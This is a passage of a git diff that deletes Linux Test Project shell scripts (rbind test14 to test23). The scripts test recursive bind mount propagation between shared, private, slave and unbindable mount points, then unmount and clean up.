--- a/testcases/kernel/fs/fs_bind/rbind/test14
+++ /dev/null
@@ -1,86 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test14} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST14***************"
-tst_resm TINFO "rbind: uncloneable child to private parent."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of rbind/test14 failed" && tst_exit)
-export result=0
-
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1
-	"${FS_BIND_ROOT}/bin/makedir" priv parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-	"${FS_BIND_ROOT}/bin/makedir" unclone parent1/child1
-	mkdir parent1/child1/x
-
-	mount --rbind parent1 share1
-	mount --rbind "$disk1" parent1/child1/x
-	mkdir parent2/child2
-	mount --rbind parent1/child1 parent2/child2 2> /dev/null || result=$? # mount should fail
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "rbind/test14: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "rbind/test14: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent1/child1/x
-	umount parent1/child1
-	umount share1
-	umount share1
-	umount parent2
-	umount parent1
-
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -eq 0 ]
-then
-        tst_resm TFAIL "rbind/test14: FAILED: rbind: uncloneable child to private parent."
-        exit 1
-else
-        tst_resm TPASS "rbind/test14: PASSED"
-        exit 0
-fi
-
-
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/rbind/test15 b/testcases/kernel/fs/fs_bind/rbind/test15
deleted file mode 100755
index 79ba311..0000000
--- a/testcases/kernel/fs/fs_bind/rbind/test15
+++ /dev/null
@@ -1,97 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test15} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST15***************"
-tst_resm TINFO "rbind: uncloneable child to slave parent."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of rbind/test15 failed" && tst_exit)
-export result=0
-
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1
-	"${FS_BIND_ROOT}/bin/makedir" share parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-	"${FS_BIND_ROOT}/bin/makedir" share share2
-	"${FS_BIND_ROOT}/bin/makedir" unclone parent1/child1
-	mkdir parent1/child1/x
-
-	mount --rbind parent1 share1
-	mount --rbind "$disk1" parent1/child1/x
-	mount --rbind "$disk2" share2
-	mount --rbind share2 parent2
-	"${FS_BIND_ROOT}/bin/makedir" slave parent2
-
-	check parent2 share2
-
-	mkdir parent2/child2
-	mount --rbind parent1/child1 parent2/child2 2> /dev/null || result=$? # mount should fail
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "rbind/test15: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "rbind/test15: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent1/child1/x
-	umount parent1/child1
-	umount share1
-	umount share1
-	umount share2
-	umount share2
-	umount share2
-	umount parent2
-	umount parent2
-	umount parent1
-
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -eq 0 ]
-then
-        tst_resm TFAIL "rbind/test15: FAILED: rbind: uncloneable child to slave parent."
-        exit 1
-else
-        tst_resm TPASS "rbind/test15: PASSED"
-        exit 0
-fi
-
-
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/rbind/test16 b/testcases/kernel/fs/fs_bind/rbind/test16
deleted file mode 100755
index b916ec6..0000000
--- a/testcases/kernel/fs/fs_bind/rbind/test16
+++ /dev/null
@@ -1,87 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test16} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST16***************"
-tst_resm TINFO "rbind: uncloneable child to uncloneable parent."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of rbind/test16 failed" && tst_exit)
-export result=0
-
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1
-	"${FS_BIND_ROOT}/bin/makedir" unclone parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-	"${FS_BIND_ROOT}/bin/makedir" unclone parent1/child1
-	mkdir parent1/child1/x
-
-	mount --rbind parent1 share1
-	mount --rbind "$disk1" parent1/child1/x
-
-	mkdir parent2/child2
-	mount --rbind parent1/child1 parent2/child2 2> /dev/null || result=$? # mount should fail
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "rbind/test16: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "rbind/test16: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent1/child1/x
-	umount parent1/child1
-	umount share1
-	umount share1
-	umount parent2
-	umount parent1
-
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -eq 0 ]
-then
-        tst_resm TFAIL "rbind/test16: FAILED: rbind: uncloneable child to uncloneable parent."
-        exit 1
-else
-        tst_resm TPASS "rbind/test16: PASSED"
-        exit 0
-fi
-
-
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/rbind/test17 b/testcases/kernel/fs/fs_bind/rbind/test17
deleted file mode 100755
index fbf83f5..0000000
--- a/testcases/kernel/fs/fs_bind/rbind/test17
+++ /dev/null
@@ -1,98 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test17} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST17***************"
-tst_resm TINFO "rbind: shared subtree with shared child to shared subtree."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of rbind/test17 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1
-	"${FS_BIND_ROOT}/bin/makedir" share parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-
-	mount --rbind "$disk1" share1
-	mount --rbind share1 parent1
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1/child1
-	mount --rbind parent1 parent2
-
-	check parent1 share1 parent2
-	mount --rbind "$disk2" parent1/child1
-	check parent1/child1 parent2/child1
-	check parent1/child1 share1/child1
-	mount --rbind "$disk3" parent2/a
-
-	check parent1/a parent2/a share1/a
-
-	mount --rbind "$disk4" share1/b
-
-	check parent1/b parent2/b share1/b
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "rbind/test17: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "rbind/test17: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount share1/b
-	umount parent2/a
-	umount parent1/child1
-	umount parent1/child1
-	umount parent2
-	umount parent1
-	umount share1
-	umount parent2
-	umount parent1
-	umount share1
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "rbind/test17: FAILED: rbind: shared subtree with shared child to shared subtree."
-	exit 1
-else
-	tst_resm TPASS "rbind/test17: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/rbind/test18 b/testcases/kernel/fs/fs_bind/rbind/test18
deleted file mode 100755
index 4eba0ed..0000000
--- a/testcases/kernel/fs/fs_bind/rbind/test18
+++ /dev/null
@@ -1,98 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test18} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST18***************"
-tst_resm TINFO "rbind: shared subtree with shared child to private subtree."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of rbind/test18 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1
-	"${FS_BIND_ROOT}/bin/makedir" priv parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-
-	mount --rbind "$disk1" share1
-	mount --rbind share1 parent1
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1/child1
-	mount --rbind parent1 parent2
-
-	check parent1 share1 parent2
-	mount --rbind "$disk2" parent1/child1
-	check parent1/child1 parent2/child1
-	check parent1/child1 share1/child1
-	mount --rbind "$disk3" parent2/a
-
-	check parent1/a parent2/a share1/a
-
-	mount --rbind "$disk4" share1/b
-
-	check parent1/b parent2/b share1/b
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "rbind/test18: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "rbind/test18: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount share1/b
-	umount parent2/a
-	umount parent1/child1
-	umount parent1/child1
-	umount parent2
-	umount parent1
-	umount share1
-	umount parent2
-	umount parent1
-	umount share1
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "rbind/test18: FAILED: rbind: shared subtree with shared child to private subtree."
-	exit 1
-else
-	tst_resm TPASS "rbind/test18: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/rbind/test19 b/testcases/kernel/fs/fs_bind/rbind/test19
deleted file mode 100755
index 078ee28..0000000
--- a/testcases/kernel/fs/fs_bind/rbind/test19
+++ /dev/null
@@ -1,108 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test19} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST19***************"
-tst_resm TINFO "rbind: shared subtree with shared child to slave subtree."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of rbind/test19 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-	####### SETUP ######
-
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1
-	"${FS_BIND_ROOT}/bin/makedir" share parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-	"${FS_BIND_ROOT}/bin/makedir" share share2
-
-	mount --rbind "$disk1" share1
-	mount --rbind share1 parent1
-	mount --rbind share2 parent2
-	"${FS_BIND_ROOT}/bin/makedir" slave parent2
-
-	###### BODY ######
-	"${FS_BIND_ROOT}/bin/makedir" share parent1/child1
-	mount --rbind parent1 parent2
-	##### VERIFICATION ######
-	check parent1 share1 parent2
-	mount --rbind "$disk2" parent1/child1
-	check parent1/child1 parent2/child1
-	check parent1/child1 share1/child1
-	mount --rbind "$disk3" parent2/a
-
-	check parent1/a parent2/a share1/a
-
-	mount --rbind "$disk4" share1/b
-
-	check parent1/b parent2/b share1/b
-
-	##### CLEANUP ######
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "rbind/test19: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "rbind/test19: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount share1/b
-	umount parent2/a
-	umount parent1/child1
-	umount parent1/child1
-	umount parent2
-	umount parent2
-	umount parent1
-	umount share1
-	umount parent2
-	umount parent1
-	umount share1
-	umount share2
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "rbind/test19: FAILED: rbind: shared subtree with shared child to slave subtree."
-	exit 1
-else
-	tst_resm TPASS "rbind/test19: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/rbind/test20 b/testcases/kernel/fs/fs_bind/rbind/test20
deleted file mode 100755
index 3e2bdeb..0000000
--- a/testcases/kernel/fs/fs_bind/rbind/test20
+++ /dev/null
@@ -1,98 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test20} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST20***************"
-tst_resm TINFO "rbind: shared subtree with shared child to uncloneable subtree."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of rbind/test20 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1
-	"${FS_BIND_ROOT}/bin/makedir" unclone parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-
-	mount --rbind "$disk1" share1
-	mount --rbind share1 parent1
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1/child1
-	mount --rbind parent1 parent2
-
-	check parent1 share1 parent2
-	mount --rbind "$disk2" parent1/child1
-	check parent1/child1 parent2/child1
-	check parent1/child1 share1/child1
-	mount --rbind "$disk3" parent2/a
-
-	check parent1/a parent2/a share1/a
-
-	mount --rbind "$disk4" share1/b
-
-	check parent1/b parent2/b share1/b
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "rbind/test20: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "rbind/test20: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount share1/b
-	umount parent2/a
-	umount parent1/child1
-	umount parent1/child1
-	umount parent2
-	umount parent1
-	umount share1
-	umount parent2
-	umount parent1
-	umount share1
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "rbind/test20: FAILED: rbind: shared subtree with shared child to uncloneable subtree."
-	exit 1
-else
-	tst_resm TPASS "rbind/test20: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/rbind/test21 b/testcases/kernel/fs/fs_bind/rbind/test21
deleted file mode 100755
index 2c1424a..0000000
--- a/testcases/kernel/fs/fs_bind/rbind/test21
+++ /dev/null
@@ -1,106 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test21} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST21***************"
-tst_resm TINFO "rbind: shared subtree with  private child to shared subtree."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of rbind/test21 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1
-	"${FS_BIND_ROOT}/bin/makedir" share parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-	"${FS_BIND_ROOT}/bin/makedir" share share2
-
-	mount --rbind share1 parent1
-	mount --rbind share2 parent2
-
-	"${FS_BIND_ROOT}/bin/makedir" priv parent1/child1
-	mount --rbind "$disk1" parent1/child1
-	mount --rbind parent1 parent2
-
-	check parent1 share1 parent2 share2
-	check parent1/child1/ parent2/child1
-
-	mount --rbind "$disk2" parent1/child1/a
-
-	check -n parent1/child1/a parent2/child1/a
-	check -n parent1/child1/a share1/child1/a
-	check parent2/child1/a share2/child1/a
-
-	mount --rbind "$disk3" parent2/child1/b
-
-	check -n parent1/child1/b parent2/child1/b
-	check parent2/child1/b share2/child1/b
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "rbind/test21: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "rbind/test21: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent1/child1/a
-	umount parent2/child1/b
-	umount parent2/child1
-	umount parent2/child1
-	umount parent1/child1
-	umount parent1/child1
-	umount share2
-	umount share2
-	umount share2
-	umount share2
-	umount parent1
-	umount parent2
-	umount parent1
-	umount share1
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "rbind/test21: FAILED: rbind: shared subtree with  private child to shared subtree."
-	exit 1
-else
-	tst_resm TPASS "rbind/test21: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/rbind/test22 b/testcases/kernel/fs/fs_bind/rbind/test22
deleted file mode 100755
index 6eda425..0000000
--- a/testcases/kernel/fs/fs_bind/rbind/test22
+++ /dev/null
@@ -1,99 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test22} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST22***************"
-tst_resm TINFO "rbind: shared subtree with  private child to slave subtree."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of rbind/test22 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1
-	"${FS_BIND_ROOT}/bin/makedir" share parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share2
-
-	mount --rbind share2 parent2
-	"${FS_BIND_ROOT}/bin/makedir" slave parent2
-	"${FS_BIND_ROOT}/bin/makedir" priv parent1/child1
-	mount --rbind "$disk1" parent1/child1
-	mount --rbind parent1 parent2
-
-	check parent1 parent2
-	check parent1/child1/ parent2/child1
-	check -n parent2 share2
-	mount --rbind "$disk2" parent1/child1/a
-
-	check -n parent1/child1/a parent2/child1/a
-
-	mount --rbind "$disk3" parent2/child1/b
-
-	check -n parent1/child1/b parent2/child1/b
-
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "rbind/test22: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "rbind/test22: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent1/child1/a
-	umount parent2/child1/b
-	umount parent2/child1
-	umount parent2/child1
-	umount parent1/child1
-	umount parent1/child1
-	umount parent2
-	umount parent2
-	umount parent1
-	umount share2
-	umount parent2
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "rbind/test22: FAILED: rbind: shared subtree with  private child to slave subtree."
-	exit 1
-else
-	tst_resm TPASS "rbind/test22: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/rbind/test23 b/testcases/kernel/fs/fs_bind/rbind/test23
deleted file mode 100755
index d8fcce2..0000000
--- a/testcases/kernel/fs/fs_bind/rbind/test23
+++ /dev/null
@@ -1,101 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test23} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST23***************"
-tst_resm TINFO "rbind: shared subtree with  private child to private subtree."
